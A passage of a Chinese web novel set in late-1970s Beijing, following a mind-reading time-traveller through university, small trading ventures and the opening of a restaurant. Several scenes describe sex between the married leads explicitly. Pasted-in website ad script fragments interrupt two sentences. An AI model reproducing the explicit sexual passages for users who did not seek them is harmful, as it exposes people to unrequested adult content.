“再怎么不客气也得管你们一口茶喝吧。”莫莉莉笑嘻嘻道,“这茶是我爸他老战友给的,闻着可香了,你们尝尝看好不好喝。” 宋若楠问:“莉莉,我们来了好一会儿了,你也不带我们去跟伯父伯母打个招呼啊?” “他们不在家,有个朋友的儿子今天结婚,他们吃酒席去了。” “哦……那就好,我怕咱们在这儿叽叽喳喳的,再吵到他们。” “甭担心,我爸妈没那么多规矩。”莫莉莉给她们端了茶,“晚上你们就别走了啊,一起吃个饭,我哥刚才已经去买熟食去了。” 陆思甜说:“这样不太好吧?我们只是想来看看你而已,不要破费……” 虽然来北京时间不长,但是一座破宅子都卖那么贵,卤味熟食想必也便宜不到哪儿去。 “这你们就甭操心了,我哥他欠我的,花他点儿钱不算什么。” 孟逐星好奇:“你哥他瞧着斯斯文文,怎么欠你了?” 莫莉莉端了盘五香瓜子出来,几人边嗑边聊,“我哥身体一直都不太好,当年下乡我爸不放心他,就让身强体壮的我去了。回来后不只是他们觉得很对不起我,连我哥也对我百依百顺,说我吃了太多苦,他一辈子都欠我的。” “怪不得……” “你哥还没结婚吗?” “没有,他就是个书呆子,之前就喜欢看书,现在也是在市图书馆上班,平时也没什么认识的女孩子,我妈都快急死了。” 宋若楠笑道:“这事儿也急不来,顺其自然就好。” 莫莉莉叹气:“谁说不是呢,我妈她以前可爽利能干了,也不知道啥时候变成这样,总是念叨我哥要成家立业,趁着年轻要个孩子之类的,我爸虽然不唠叨,但他会附和我妈,老两口一唱一和的,有时候火还会烧到我身上。” “啊?也劝你早点处对象吗?” “可不是嘛,人家才刚上大学,就说这些有的没的,讨厌。” 孟逐星笑问:“你不是读的播音主持吗?学校里应该有不少俊男靓女吧?就算不结婚谈谈恋爱也好呀!” 莫莉莉面色微红,“是有这个打算来着。” 三人大笑,开始逼问她喜欢什么类型的男孩子。 “唔,当然要很高很帅,笑起来很可爱的,人要有趣不能呆板,可以带我各种玩让我开心的才好。” 陆思甜突然开口:“这描述怎么让我想起了一个人……” “我也想到了。”孟逐星笑得很贼。 莫莉莉瞪大眼:“谁啊?” “某个李姓男子。” “……”莫莉莉愣了一下,“李少阳?哈哈哈哈哈你们可真会想,他跟这有啥关系啊……” 见她们仨不说话直盯着她,莫莉莉梗住:“啊?你们真这样想啊?” 孟逐星语重心长道:“莉莉,你不觉得你对他很不一样吗?” “哪里不一样了?他那么招人烦,我哪回见他不骂他几句。” “对啊,就是这样不才奇怪吗?讨厌一个人最好的办法就是忽视他,对他视而不见,而不是像你这样总去引起他的注意……” “等等!”莫莉莉打断她,“你说我是引起他的注意?怎么可能!” 宋若楠拍了拍她的手,“别激动,兴许是我们理解错了,只是在我们看来,你对李少阳应该不只是讨厌哦,我们也只是想提醒你,仔细想想,听听自己心里的声音。” 莫莉莉斩钉截铁:“我怎么会喜欢他啊,根本不可能!” 孟逐星笑道:“好好好,不可能,只是我听宗青哥说,李少阳也被他家里人安排进了你们学校,以后你在学校也许会碰见他也说不准。” “啊?!”莫莉莉大惊,“他怎么也在?” 宋若楠笑:“也许你们缘分未尽。” 莫莉莉连连摆手:“可别胡说,跟他处对象……真是想想都头皮发麻。” 正说着话,外面传来莫钦的声音,“莉莉,我买了些吃的,现在要开饭吗?” 莫莉莉看了眼挂钟,已经五点多了,便道:“开吧,她们吃完也能早点回去休息。” 吃了一顿丰盛的晚饭后,孟逐星三人道别骑车离开。 宋若楠回了学校,孟逐星载着陆思甜回了四合院。 暮色里,陆宗青刚刚跑步回来,他穿着黑裤白衬衣,脸上亮晶晶的一层汗,英气逼人。 孟逐星心跳猛地快了一拍,“刚跑完?吃饭了吗?” 陆宗青接过自行车,将车停在院中,“还没,中午还剩点儿米饭和菜,我对付吃口得了。” “那哪儿成,我去给你下点儿面条吧。” 厨房橱柜里有前两天买的挂面,烧开水打两个荷包蛋很简单的事。 见妹妹已经进了屋,陆宗青走到孟逐星身后亲了她脸颊一下,“那就辛苦老婆了。” 孟逐星耳根微热,嗔了他一眼,“你来给我打下手。” “遵命。” 厨房烧的是炉子,墙角堆着好几十个煤球,也就这两天用了些。 陆宗青在锅里倒了水,调大了炉子阀门儿,坐在小马扎上,将孟逐星拉坐在自己怀中。 他长腿屈起,结实的肌肉贲勃,与她软绵的臀部相抵。 孟逐星窝在他怀里,有一搭没一搭地说起下午的事,锅中的水渐渐咕噜沸腾。 水汽一点点顶起锅盖。 孟逐星察觉到某人似乎也有点不太老实。 他低头亲吻她的后颈,修长手指撩起毛衣,指腹贴在了她的肌肤上。 薄茧磨得微痒,她笑着想躲却被他抱得更紧。 陆宗青刚运动完,浑身散发着好闻的香皂味儿,她整个人都被他身上暖烘烘的气息所包裹。 锅盖被顶得起伏更大,孟逐星赶忙提醒:“该煮面了。” “嗯。”陆宗青应了声,却并未放开她,反而就这样将她半搂半抱,腾出一只手来下面条。 另一只手沿着腰线往上,触到凸起的边缘后手指缓缓收拢。 他面不改色地问:“这面要煮多久?” 孟逐星“唔”了一声,“大概三四分钟吧,把鸡蛋也加里头。” “好。”陆宗青单手打了两个荷包蛋。 又坐回马扎上,不同的是这回是两人面对面。 他低头吻上她的唇。 孟逐星杏眸泛雾,看了眼门外,要是思甜这会儿突然过来,看到这一幕她不是很社死…… “别分心。”陆宗青轻咬了一下她的唇瓣,黑眸深邃,“只看着我就好。” 他手指下钻灵活如游鱼,动作缱绻温柔。 开水再次沸腾,面条和鸡蛋的香气渐渐浮动,孟逐星咬唇忍住声音,失神地伏在他肩上。 陆宗青气息微沉,在她眼前晃了晃泛着水光的手指,伸舌舔了一下,冲她笑着挑了下眉。 “甜的。” 孟逐星:“…………” 真他爹的要命! 这还没完,陆宗青亲了亲她的额头,眼神中流露出几分可怜,“媳妇儿,明儿起咱们又要好几天不能见面了。” “所以?” “所以回屋后我要仔仔细细地伺候你。” 孟逐星听得人心黄黄。 当晚直到半夜,两人都累极了才睡下。 第二天一早又各自赶去学校,开始了新一周的学习。 这期间,孟逐星被门卫叫到门口,见到了许久未见的马小兰,两人高兴极了相拥而泣。 马小兰长高了也变瘦了些,梳着两根麻花辫,乌黑溜圆的眼睛泛着泪花,可脸上却是灿烂的笑容。 孟逐星带她去了学校食堂,两人就着玉米粥和一只咸鸭蛋聊嗨了,这才知道马小兰的学校就在隔壁的隔壁,走路二十分钟就到了。 “这下好了,以后咱们就可以多见面了。” 马小兰却叹了口气:“我想我也没有太多空闲时间,你是不知道,我们学校的人都可认真了,吃个饭上个厕所都要那本书看……” “而且我学的还是法学。” 马小兰生无可恋唐僧脸,“天天看那些法律条 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 文我感觉我离去世不远了……” 孟逐星深表同情,鼓励道:“谁不是呢,大家都是这样的,辛苦这几年等毕业工作了就能轻松些了。” “但愿吧。”马小兰快速将剩下的粥喝完,“我该回去了,咱们再联系啊。” “行,你要是周末有空,我带你回家吃顿饭,顺便见见你姐夫。” “宗青哥我又不是没见过,”马小兰嘀咕着,“倒是你最聪明的了,怎么会这么冲动花这么多钱买一座又旧又破的院子?” 她直摇头,很是不解。 见她和思甜同款表情,孟逐星也没解释太多,只笑道:“以后你们就知道了。” 上学是一件痛并快乐着的事,曾经工作多年后,孟逐星还会经常做要考试了却发现自己啥也不会的梦,焦虑担忧刻入骨髓。 如今,在另一个时空,与这个时代昂扬向上的青年们坐在一个教室时,她油然生出一股欢欣来—— 能够做回学生真是太好了。 除了认真学习,孟逐星也打听到了一些消息:现在外面有不少摆摊儿做生意的,虽然还没官方文件正式允许个体经济,但风气已然松动许多。 舍友胡琼她叔叔是跑长途货车的,在北京–广州这条线上,有时也会帮人带点货,比如衣服、收音机啥的,买的不多就不算投机倒把。 她琢磨着想赚点小钱。 于是笑眯眯地请胡琼吃了两顿饭,见胡琼眼神中满是疑惑,这才缓缓说出自己的目的:“是这样,我想请你叔叔下次再来北京送货时,帮我买一些广州那边比较流行的衣服。” 胡琼迟疑道:“只要流行就买?你要买多少呀?” “先买个五十件吧。” “啊?你能穿这么多啊?” 孟逐星也不打算瞒她,“我买来打算卖的。” “卖?”胡琼有点愣住,压低声音,“你不怕被学校发现啊?” “小琼,你忘了咱们是学什么的吗?经济经济,自然要学会做小生意,才好去谈更宏观更大的问题。” “你放心,我绝对会谨慎行事,就算被发现了,也绝对不会连累你。” “我不是这个意思,”胡琼脸色一红连忙解释,“我只是在担心你。” 孟逐星笑着抱了她一下,“放心吧,我心里有数的,你叔叔什么时候到?我先给你拿预付款。” …… 周末的时候,陆思甜有时会留在学校图书馆看书,孟逐星就骑上车和陆宗青在北京城走街串巷,从海王村到琉璃厂,古玩、瓷器各种旧物,她其实并不太懂,但是很会装模作样,然后直视卖家的眼睛,利用读心术作弊。 【瞧着就是俩穷学生,还能买得起晚清的瓷器?】 【这姑娘和这小伙子瞅着都不是行家,待会儿要狠狠宰他们一笔。】 【还压价?再压老子就赔本儿了。】 ……靠这个,她以一个自己能接受的价格买到了三四件小古董。 陆宗青不解她为啥要花钱买这些旧碗、旧花瓶,但见她每次买完都两眼放光,他也就由着她去了—— 钱财都是身外物,老婆开心就好。 天气渐暖,北京的天气变得舒适,花开柳绿时,孟逐星换上春衫,和同学游什刹海、圆明园,见到很多烫着头穿着喇叭裤的青年,随着音乐跳舞,其中也有不少外国友人。 这画面让她冷不丁想到了一个热搜,一群人在上海安福路带着耳机跳舞。 对比之下,这才是真松弛啊…… 卖衣服的小生意意外地顺利,周末时,孟逐星看陆思甜、莫莉莉、宋若楠和马小兰谁有空就拉上谁,每人换上要卖的衣服,既是销售又是模特,她们几个长得各有特色,盘儿亮条儿顺,往那一站就是一道靓丽的风景线。 再加上她们的目标受众是年轻女孩,不到半天,五十件衣服就卖完了。 孟老板局气,收了摊就带人下馆子狠狠搓了一顿。 在那之后,她又继续让胡叔叔帮忙进货,给他按件算提成,她则在周末闲暇时带着几个好朋友卖货、分账。 几个姑娘见这生意有赚头,便也多多少少地入了股,服装小卖部越来越红火。 宿舍里的五个舍友也都动了心,手里有余钱的就一块参加,没有余钱的就也来帮忙,学学经验,举一反三做起了其他小生意。 手上的钱又渐渐多了起来,孟逐星给四合院添了些家具,买了油漆重新粉刷。 不得不说,陆宗青是干活的一把好手。 不仅上得厅堂下得厨房,连粉墙刷漆的动作也有模有样,娴熟得像个从业多年的老师傅。 见四合院越收拾越好看,门口的街上也多了许多摆摊的,买什么都很方便,陆思甜也不禁夸道:“仔细想想,这房子还真挺不错的哈,姐你真是很有眼光。” 而有眼光的孟逐星不满足于眼下,她在菜市场蹲了一阵子,和大爷大妈们混熟之后,从他们那打听到些许消息,“买破烂”的地点扩大到了阜成门摆摊卖面的小铺,以及街上的药铺。 到暑假时,她更是和陆宗青一道去了通县的通惠河漕运码头,骑车过去是真的远,又累又晒,但也真的踅摸捡漏到了不少好东西。 两人满载而归,孟逐星的嘴角都快咧到天上去。 见她笑意粲然,陆宗青也忍不住笑了。 她这么开心,真好。 33. 第 33 章 也不知是不是有了规律的性.生活,还是因为她身体发育得更成熟,孟逐星最近在使用读心术后,胸口不会再像之前那样胀痛、引起尴尬了。 这对她来说是一件好事,不用再时时担心衣服会湿掉让她社死,陆宗青的神情却有点复杂——替她高兴之余,似乎又有几分遗憾。 孟逐星:“……你在想什么?” 陆宗青眨了眨眼,一脸无辜:“什么都没有。” 鬼才信嘞! 暑假时间长,孟逐星除了捣鼓卖衣服外,就是去旧货市场踅摸古董,伏天太热岀不了门,她就窝在家里整饬四合院,傍晚时和陆宗青一块儿骑车出去溜达,或者是带上陆思甜一起去戏园子热闹热闹。 陆思甜自从上了大学就特别忙碌,不是在看书就是在去图书馆的路上,“我们同学都太认真了,我不努力点儿跟不上他们。” “那也要劳逸结合才好呀。”孟逐星笑着给她倒了杯茶,“放松一晚上也不会怎么样。” 戏台上正演着《西厢记·寺惊》—— 孙飞虎围了寺庙,要掳崔莺莺为妻,和尚法本问僧俗等人有无退兵之计,无人应答,在崔夫人许诺但凡退得贼兵,她倒赔妆奁,将女儿莺莺配他为妻时,张生才站出来说:“张珙有退兵之策!” 把孟逐星给看得直摇头,跟陆思甜小声蛐蛐:“这张生也真是贼,没好处的时候他就不吱声。” 陆思甜点头:“谁说不是呢。” 看完戏,三人觉得有点饿,又去路边小摊儿上吃了碗卤煮,之后才回家洗漱歇息。 床上铺着竹凉席,洗完澡穿着棉背心躺上去一开始还很凉快,时间一久就也开始热,孟逐星最不耐热,手上的蒲扇摇得飞起。 陆宗青笑着接过扇子给她扇风,“要是还嫌热,咱就去外面院子里睡去。” “还是别了,屋里还可以点蚊香,外面地儿大会被蚊子咬死的。” 孟逐星翻了个身,趴在竹席上歪过头看着他,“还是山里好,夏天的晚上没那么热。” “你要是想回去,我明天就去排队买票。” “还是再等等吧,等我啥时候功成名就再衣锦还乡。” 陆宗青笑:“到时候让我沾沾你的光。” 孟逐星傲娇昂首:“准奏。” 蒲扇的风一阵阵拂来,孟逐星渐渐睡意浓重,不知不觉就睡着了,之后不知过了多久,她迷迷糊糊被胸口的动静弄醒。 “嗯?又溢了吗?”她含混不清地问。 “嗯,我帮你弄干净。”他口齿不清地答。 孟逐星习惯性地摸了摸他的发顶,被短硬的头发戳得手心发痒,她下意识地在他宽厚的背脊上蹭了蹭,却将他按得更贴近。 “不用催。”陆宗青低笑一声,“这就来。” 他握住她的腰,修长有力的胳膊略微用力,鼻尖便触在了女孩子柔软白皙的小腹上。 他喉结滚了滚,薄唇贴了下去。 ** 开学之后,何玉静打趣孟逐星:“小孟暑假是做妖精吸人精血去了吗?瞧这白里透红的小脸,看这凹凸有致的身材,啧啧……真是让人羡慕。” 陈金麦笑嘻嘻道:“我更羡慕小孟的对象。” 向来稳重老成的大姐李红霞也跟了一句:“我也是,小孟不仅长得好,性子大方开朗,还特别有本事会赚钱,谁能娶到你真是三生修来的福气。” 孟逐星点了点头:“确实是他的福气。” 胡琼笑道:“你一点也不害臊!话说回来,我们只是远远地见过姐夫来接你下课,还没近距离接触过呢,啥时候有空正式介绍一下呗。” “成,要不就这个周末?我们做东,请你们下馆子。” 五个舍友欣然同意。 周六中午,几人相聚在云来饭庄,孟逐星问了各人的忌口与喜好,豪横地点了一桌子菜。 李红霞有点过意不去:“小孟,这也太多了,叫你们破费多不好……” 陆宗青笑了笑:“没关系,你们是星星的舍友,平时在学校时对她多加照顾,我该早点请你们吃个饭以表感谢的。” 陈金麦悄悄打量着他,见他穿着白衬衫黑长裤黑皮鞋,身姿高大而修长,但却没有一点文弱的感觉。 那张脸英俊疏冷,待人接物十分温和得体却让人有股距离感,唯独在看着孟逐星时,他的眸光和神色才真正变得温柔。 霎时间,她就明白为啥小孟会英年早婚了。 如果她也有这么个英俊体贴、满心满眼里只有她一人的对象,她也会迫不及待地把人给用小本本锁死。 似是察觉到她的目光,陆宗青的视线扫了过来,漆黑幽邃的眸子看得陈金麦一激灵,好像做了什么错事被抓包一样赶忙低下了头。 ……她要收回刚才的话!这样压迫感十足的男朋友她才不想要! 她还是更喜欢开朗活泼大男孩。 吃饭时听说陆宗青以前是军人,如今又在装甲兵学院上学,众人顿时肃然起敬,看孟逐星的目光里也多了一层羡慕、钦佩、感动之情。 孟逐星:“?” 一顿饭吃得都很尽兴,陆宗青去结账的时候,何玉静忍不住问:“小孟,你对象都28岁了,你们怎么还没要孩子啊?” 因为时代原因,很多人在考上大学之前就结婚生子了,也有不少人是在上学期间生了孩子。 孟逐星:“不急不急,等我们毕业再考虑这个问题。” 李红霞脸上闪过一抹古怪,小声说:“你就不怕他年纪大了……不行……” 一句话说得其他几个舍友都闹了个大红脸,却也止不住满眼的好奇:“姐,什么不行?详细说说。” 李红霞:“……” “嗐,这有啥不能说的。”孟逐星淡定道,“就许他们体力精力跟不上,不许我们说实话?” 胡琼瞪大眼,红着脸问:“所以姐夫已经……?” 孟逐星连忙摆手:“没,他虽然年纪大了点儿,但身体素质好着呢!” “哦……”几人拉长腔,挤眉弄眼地看着她身后。 孟逐星心里一惊,转头就看到陆宗青立在她后面,也不知道什么时候回来的、听到了多少…… 陆宗青意味深长地看了她一眼,对众人说:“结完账了,我送你们回学校吧?” 陈金麦最为机灵,见情况有点不太对,赶忙拉上舍友跑路,“不用了姐夫哥,我们还想去其他地方逛逛,你和小孟回去吧!今天多谢款待!” 说完,一阵风般溜了。 留下孟逐星苍蝇搓手,小声问:“宗青哥哥,你刚才听到了没有?” 陆宗青牵住她的手,“是说我年纪大,还是说我身体素质好着呢?” “……” 孟逐星求生欲很强地踮脚亲了下他的侧脸,语气却很无辜:“哥哥你这么大度一定不会生气的吧?” “……你嫌我年纪大。” “没有呀,你确实是比我大七岁嘛,我说的是事实。” “我身材不好了吗?”陆宗青怀疑地捏了捏自己的胸肌腹肌二头肌,“还是和以前一样啊……” 他倏然低头盯着孟逐星,“学校里是不是有人追求你?他比我年轻比我好看?” “唔……”孟逐星顿了一下,坦白道,“是有那么两三个人给我搭过话,但是我都礼貌回绝了呀,你别多心……” “果然是这样。”陆宗青眼睫低垂。 “?” 果然是哪样啊?! 孟逐星还没来得及解释,就被他风驰电掣地给带回了四合院,下车进屋关门上床一气呵成。 她毫无准备地被他唇舌热情洗礼。 熟悉的酥麻感伴随泪水一同涌出时,她恨声道:“还没洗澡!” “我喜欢你,喜欢你一切的味道。” 陆宗青的眼神恢复几分清明,歉然地亲了亲她的额头,“刚才是我一时想岔了,对不起。” “你不用道歉呀,我明明……很舒服。”孟逐星抚摸着他英挺的眉眼,甜美笑容中蕴着一丝狡黠,“而且刚才我那句话的重点在后半句啊……” 她目光巡睃在他饱满贲张的胸肌上,如有实质般,烫得陆宗青耳根渐渐染上绯色。 “星星。”他低声呢喃她的名字,明明在上位俯视着她,健硕身躯将她彻底笼罩着,眼神中却流露出几分哀求可怜的意味,“求你帮帮我。” “可我有点累了呀。”孟逐星眉眼弯弯,“怎么办?” 虽这么说,她却抬起了腿,修长纤细的小腿很白,与他麦色的肌肤贴在一起,视觉冲击极强。 “只能这样帮你了。” 她话音轻飘飘的,脚上的动作却很重,前阵子她才用凤仙花染了指甲,色若胭脂,衬得她脚背愈白、他肤色愈深。 “宗青哥哥,好奇怪啊。”孟逐星仰起脸贴近他,唇瓣相贴,他下意识地要吻,被她轻巧躲过,笑盈盈问,“常年不见天日的地方,不应该捂得很白吗?你怎么是相反的呀?” 陆宗青闷声喘了一下,手臂上青筋暴起,“我也、不知道。” ……长得丑陋吓人,也不是他可以选择的。 他热切地去吻她,滚烫的掌心紧贴着她的脚腕,似摩挲,更似掌控。 但决定权在孟逐星这儿,她不停逗撩他,却迟迟不给他痛快,直到他忍得眼尾发红、气息沉重,她才双足并拢大发恩惠。 陆宗青服务意识很强,她也很会变着花样地疼人呀,非常公平也非常般配。 ** 在现代上大学时,孟逐星只会在快期末考的时候才去图书馆突击学习几天,可现在上学天天都是备战期末考的状态,同学一个比一个卷,而且不只是卷学习,在体育、社交上也没松懈。 乒乓球、跳绳,甚至跳房子都玩得特别熟练又开心,还有不少人在公园里跟着大爷大妈练气功。 要强的孟逐星不甘人后,也加强了体育锻炼。 时间一晃而过,到了1979年的春节。 这个寒假孟逐星和陆宗青回了趟农场,得知花儿和乡里乡亲们一切都好,在家里住了十几天,享受了炕的火热温暖后,他们就赶回了北京。 陆思甜也没闲着,跟着同学一块儿满北京城跑做调查研究,她是真心喜欢考古这个专业。 孟逐星曾经问她:“你以后打算去什么单位啊?考古所、?文物局、?博物馆还是高校?” 陆思甜眼睛亮晶晶的:“我想去敦煌莫高窟。” “啊?那里好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 远的,条件也很艰苦哦。” “我知道,我就是想去,那里有很多文物,当地却有沙害,我想略尽绵力地保护它们。” 孟逐星心头微震,旋即生出一股愧疚来,相比较思甜的大格局,她的眼界似乎太过狭小,只想着怎么收更多的古董,怎么利用信息差赚更多的钱…… 她在她面前瞬间变得渺小和俗气。 “你真有心,我支持你的!”孟逐星鼓励道,“到时候如果需要什么就跟我说,我也想尽一份力。” 陆思甜笑道:“姐,我不像你头脑灵活会做生意,我只是想做好一份自己喜欢的工作而已。” 这夸奖让孟逐星很是心虚,继而更坚定了继续赚大钱的想法——她想帮助更多人,但前提是得有钱。 过完年天气转暖后,社会风气愈发松动,个体小户越来越多,孟逐星除了卖衣服,也开始卖起贺卡、明星海报这些小玩意。 东西虽小利润也薄,但架不住卖的量大呀,各小学、中学学校门口一蹲,很快就销售一空。 有人问有没有磁带影碟,孟逐星面上摇了摇头,手中却给人递了个纸条。 之后,在某胡同里完成了交易。 她还是偷偷摸摸地做了个“倒爷”。 如此时光匆匆,孟逐星成了学校皆知的名人,做生意贼厉害,做一行成一行,很多人找她取经。 毕业拍集体照留念时,她更是成了吉祥物般的存在,被人拉着纷纷合影。 也是在这天,她看到了一张熟悉面孔—— 农场小学里的蒋老师蒋熠。 他也在这里上学?怎么她完全没听说啊…… 而且都毕业了她才见到他,孟逐星本着多个朋友多条路的原则,笑着跟他打了招呼,蒋熠倒不怎么意外见到她,“孟同学,我常听人说起你。” “嗐都是瞎扯的,你是哪个系的啊?咱们一直在一个校园里面我竟然都没见过你。” 蒋熠变化不大,仍然是清瘦斯文的模样,他淡笑道:“我学的中文,平时待在图书馆比较多。” “那之后去哪里高就?” 蒋熠抿唇笑了笑,“出版社混口饭吃而已。” 孟逐星点了点头,“感觉很适合你。” 她虽然和他没说过几句话,但是对他的为人也颇为了解,斯文腼腆,温文儒雅,做文字图书编辑挺适合的。 两人礼貌性地挥手告别,以后虽然仍在一座城市,但兴许也不会再见面了吧? 常在熄灯后“卧谈”经济问题的舍友们,有的踏上了经商之路,有的则去了银行和政府单位,个个风生水起。 陆思甜在去敦煌之前,偶然在北京街头偶遇了一个熟人——许文斌。 他叫住了她,她一开始都没认出来他,后者苦笑:“我变化有这么大吗?” 陆思甜上下打量着他,点了点头:“胖了,黑了,也有点丑了。” “……” 他邀请她去茶馆坐坐叙叙旧,被陆思甜拒绝:“不了,我还有事要忙,再见。” 她走得干脆利落,身影很快融进自行车与人流之中。 许文斌怔愣许久,忽然手臂被人拍了拍,“老公你看什么呢?我带儿子上完厕所了,人比较多排了会儿队,你等急了吧?” “没什么。”他收回目光,将儿子抱起来往前走去,看都没看妻子一眼。 袁莹愣了一下,眼中闪过失落和黯然,她看着他抱着孩子越走越远,丝毫不在意她是否跟上。 她和许文斌门当户对,结婚四年,孩子三岁,但他对她颇为冷淡,好听点是相敬如宾,实际上就是爱理不理,她尝试过多次讨他喜欢,却都失败了。 由始至终,她都没有走进他的心里。 有时候她想,也许他随便换个谁都可以结婚生子吧? 她跟妈抱怨过,但妈跟她说旁人也是这样过来的,什么爱情喜欢都是虚的,夫妻磨合着、守着孩子过日子就是了。 “文斌这孩子老实,没什么坏毛病,又从没对你动过手,你还有啥不知足的?” 袁莹隐约觉得哪里不对,但她从小接受的教育和周遭的环境却让她不知如何是好。孝顺公婆、传宗接代、相夫教子,是她所能想到的人生最大的宽度。 除了这些,女人还能做什么呢? 他们家虽然有点根基,但也是最传统守旧的,家中的女子接受的都是旧式教育,她和姐妹们的眼界被束缚得很窄,只余院子中的四角天空。 她看着大街上穿着各色衣服的女子,有学生、有工人、有打扮靓丽的时尚女郎,她们为什么可以笑容灿烂地走在大街上? 袁莹神情恍惚,想起刚才瞥到的那个女孩子,有点瘦但却很有精神,一双眼睛充满了光彩,她是刚毕业的大学生吧?以后的人生肯定比她的要宽广很多…… “你在发什么呆?”许文斌折返回来,语气不悦,眉头死拧,“我们是来探亲的,不是来旅游的,快点儿走。” 袁莹回过神来,看着男人发福的背影,脑海中蓦地浮现她初次见他的样子,清瘦腼腆,还没跟她说话就先红了耳根。 人会变化这么大吗? 还是,她压根儿就没看清过他。 袁莹红了眼眶,咬牙跟了上去。 34. 第 34 章 1981年底,国家发文指出个体经济是国营经济和集体经济必要补充……个体户从此有了“说法”,如浴春风。 孟逐星婉拒了学校分配的工作,投身于个体创业的浪潮中。 她赶在头一批办理了营业执照和相关证明,在家附近开了家服装店,把之前流动的服装小卖部固定下来,请了两个年轻姑娘看店。 之后又选了个黄道吉日,开了家家常菜馆,起名“客来顺”,主营水饺面条和家常小炒。 店面是她很早之前就选好了的,就在五道口附近,交通便利,而厨师也是她因缘巧合结识的。 之前冬天时天太冷,孟逐星和陆宗青懒得买菜做饭,就常去一个卖馄饨水饺的小摊儿吃饭。 摊主一对四十多岁的中年夫妻,丈夫姓黄,妻子姓刘,干净整洁不说,味道也特好,去的次数多了,孟逐星就跟两人混熟了。 打听之下才知道原来黄叔之前是一家大酒楼的帮厨,后来酒楼不开了,他没了去处,自家孩子小军又体弱多病,就和妻子支了个摊儿卖馄饨水饺为生。 虽然是小本买卖,但他们夫妻厚道,用的都是真材实料,味道也好,一来二去也积累了如孟逐星这样的熟客,摊子虽小却也能让一家三口果腹,给小军看病吃药的钱也勉强能跟上了。 黄叔擅长做面食,刘婶儿则做小炒比较拿手,中午时他们也会卖一些炒菜。 听到孟逐星夸菜好吃时,刘婶儿有些不好意思,“就是瞎炒的家常菜。” “普通的家常菜能做好吃就很不容易啦!”孟逐星真挚夸赞,“平凡里才是真功夫呀。” 刘婶儿被她夸得开心,笑眯眯地给她碗里加了个油汪汪的煎蛋,“婶儿请你吃的。” 于是在孟逐星打算开个餐馆时,就想到了他们夫妻。 她将来意说了,夫妻俩面露犹豫,“摆摊儿我们还勉强凑合,做饭店主厨……我们能成吗?小孟,别再耽误了你馆子里的生意……” 刘婶儿说:“就是,让你黄叔去帮你打个下手还成,我就不去了吧?啥也不会让人看笑话。” “叔婶儿你们别担心,”孟逐星笑道,“既然我会来找你们,自然是各种因素都考虑了,你们二位的手艺如何我再清楚不过,来我这个小饭馆那都是屈才了。” “甭管成不成,你们二位来试一个月?要是咱们彼此都觉得满意,那就签订长期合同,要是觉得不行,那我也不勉强你们,除了一个月三十五块的工资,我还会补贴你们十块钱。” 黄叔愣住,“这么多钱?” 要知道现在国营饭店厨师的工资一个月是三十块钱左右,这小孟刚开店还没赚钱呢,就给他开这么高工资,怕不是被人给忽悠了吧? 他忙道:“小孟,你不会被人给骗了吧?这工资开高了,而且没必要补偿我们的……” “叔我没被人骗,这就是我给你开的价,你和婶儿愿意来吗?” 见两人神色松动,孟逐星继续道:“再说在饭店上班不会风吹日晒的,也更稳定不用担心生意好坏不是?而且还可以把小军带店里来,一日三餐忙完后,你们还可以多陪陪他。” 最后一句话彻底让两人动了心,本来他们夫妻起早贪黑地摆摊是为了赚钱,想给儿子提供更好的生活,但也因此没有太多时间陪他,更不忍心将体弱多病的他带出来一起受苦。 “小孟,那我们明天就去店里?” “成,我饭馆刚开业,厨房里很多东西还没配齐,正好让叔和婶儿帮我看看还缺什么。”孟逐星笑眯眯看着刘婶儿,“婶子你面点做得好,一定是个很棒的面点师,工资和刘叔一样。” 刘婶儿又惊又慌:“这哪行!我那会的都是家常便饭,蒸个馒头做个馄饨包子啥的,哪里就是面点师了……” 孟逐星说:“好吃就行了呀!婶儿我跟你保证,你做的东西一定特别受欢迎!” “可是……万一让你赔本了咋办?” “嗐,做生意哪有稳赚不赔的,就算赔了,我就当交学费积累经验了。” 夫妻俩见她年纪虽轻说话做事却很沉稳豪气,心里的担忧散去不少—— 他们担心孟逐星年轻经不住打击,毕竟做生意这事儿没那么简单。 可没想到“客来顺”开业当天,店内就坐满了人,门外还排了老长的队,除了找来的三个服务员,孟逐星的许多朋友前来帮忙招待,她自个儿则给门口排队的人按先后发了号码牌。 牌子是她提前准备好的,三指宽的青竹片,巴掌大小,上面刻着数字。 刚开业全场的菜品、面点、汤粥都打五折,外送一碗现磨热豆浆。 门口广告纸上的优惠力度这么大,店面又收拾得干净明亮,服务员也是大学生模样的年轻姑娘,很多人走过路过自然不想错过,纷纷进来尝尝看。 后厨的黄叔和刘婶儿忙得脚打后脑勺,点单的人越多他俩就越嘀咕:这得亏多少钱啊…… 不成,他们一定要把菜和包子做好吃点!争取为小孟多留住几个回头客! …… 一天营业结束,请朋友们搓了一顿后,孟逐星和陆宗青围在一起噼里啪啦拨了一通算盘。 他毕业后分配到了科研所工作,暂时还不太忙,还可以一块儿忙活店里的事。 陆宗青小声说:“……亏了不少。” 孟逐星面不改色:“问题不大。” 第二天,店内恢复正常价格,客人自然是少了很多,但也有几个昨天的熟面孔。 店内经营一日三餐,早餐种类丰盛,煎包、蒸包、油条、麻团、各种馅儿的烙饼,胡辣汤、豆汁儿、小米粥、八宝粥样样都有。 刘婶儿做事特麻利,再加上请来的帮厨王姐也是个勤劳爽快人,两人配合默契,天蒙蒙亮时就将各色面食摆在了桌案上。 午间和晚上则供应炒菜、面条。 一开始店里客人也不算多,但黄叔和刘婶儿的实力摆在那儿,一来二去就自然客源不断。 虽然孟逐星开饭店是为了赚钱,但是她哪怕少赚点儿也更看重食材和卫生,诚实做生意就有人看得到,再加上她对店里员工的待遇很好,店内生意兴隆又一团和气,难免惹人眼红。 这不,开业第十天,一大早刚开门,就在门口看到了一地的烂菜叶泔水,又脏又臭,都在地上结了冰,看得刘婶儿火冒三丈,和王姐一边打扫一边骂。 等孟逐星到了,她边比划边说给她听,气呼呼道:“我看一定是附近哪家饭馆的人倒的,嫌我们抢了他们的生意,故意来恶心人来的。” 孟逐星也是见过现代商战大场面的人。 用开水偷偷浇死对方的发财树,买通保安每五分钟拉一次对方电闸,让对方以为是高级黑客攻击,共享单车互相划拉对家车座子之类的。 跟在对家门口倒垃圾这个比,似乎也没什么两样。 她笑眯眯安抚刘婶儿,“别担心婶子,问题不大。” 